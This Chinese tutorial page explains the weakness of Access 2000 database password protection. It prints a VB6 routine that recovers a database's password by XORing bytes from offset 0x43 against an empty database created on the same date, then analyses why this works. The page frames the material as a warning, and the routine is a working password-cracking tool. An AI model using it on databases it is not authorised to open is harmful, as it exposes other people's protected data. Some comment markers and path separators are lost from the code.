当前位置: 首页 > 图文教程 > 数据库 > Access > 防止Access 2000密码被破译的方法

Access
access中数据表的自动重新联接
轻松用Access打造图书管理系统
将ACCESS转化成SQL2000要注意的问题
远程连接access数据库的几个方法
保护Access 2000数据库的安全
十万条Access数据表分页的解决方法
设定Access数据库自增长字段初始值
带数据缓存的ACCESS数据库操作类
如何增强网站数据库Access文件的安全性
ACCESS统计不重复记录个数问题
Access报表打印:自动分页
备份你的改过后缀名的ACCESS数据库
用ASP显示ACCESS数据库的GIF图象
Access如何维护表的参照完整性
Access中如何自动建立表的连接表达式
access处理重复记录的方法
如何在Access报表中每隔N行显示一条粗线
Access 新手来看:编号的生成问题
Access为后台数据库的网站统计系统
Access数据有效性检查

防止Access 2000密码被破译的方法


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-17   浏览: 42 ::
收藏到网摘: n/a

如果你过分信任 Access 2000数据库的密码保护,你可能会因此而蒙受损失。这是因为Access 2000的数据库级密码并不安全,相反它很脆弱,甚至下面这段非常小的程序就可以攻破它:

程序一(VB6):Access 2000密码破译

以下为引用的内容:
Private Sub Command1_Click()
Const Offset = &H43 文件偏移地址:Access数据库从此处开始存放加密密码
Dim bEmpty(1 To 2) As Byte, bPass(1 To 2) As Byte
Dim i As Integer, Password As String
打开一个空数据库作为参照
Open "D:VB6_TestMDB_PasswordNew_Empty_DB.mdb" For Binary As #1
打开被密码保护的数据库
Open "D:VB6_TestMDB_PasswordPass_Protected_DB.mdb" For Binary As #2
Seek #1, Offset
Seek #2, Offset
For i = 1 To 20 ' Access 2000 数据库密码最长允许20位
Get #1, , bEmpty ' 其中每位密码占两个字节
Get #2, , bPass ' 一个汉字也仅是一位密码,占两个字节
If (bEmpty(1) Xor bPass(1)) <> 0 Then
Password = Password + Chr(bEmpty(1) Xor bPass(1)) ' 将密码解密
End If
Next
Close 1, 2
MsgBox "Password:" + Password ' 显示密码
End Sub

一、深入分析

上述程序成功的关键是使用了一个空数据库(New_Empty_DB.mdb)。该数据库的创建日期必须与被密码保护的数据库(Pass_Protected_DB.mdb)相一致。 换句话说,Access 2000 仅仅是使用“数据库创建日期”来加密用户密码。

应注意的是:上面的“创建日期”只是操作系统级的,也就是 Windows记录在文件夹目录里的信息(根据文件名的长短,每个文件在目录里占用至少32个字节,包括:文件名、属性、文件大小、首蔟号、创建时间、修改时间和访问时间等)。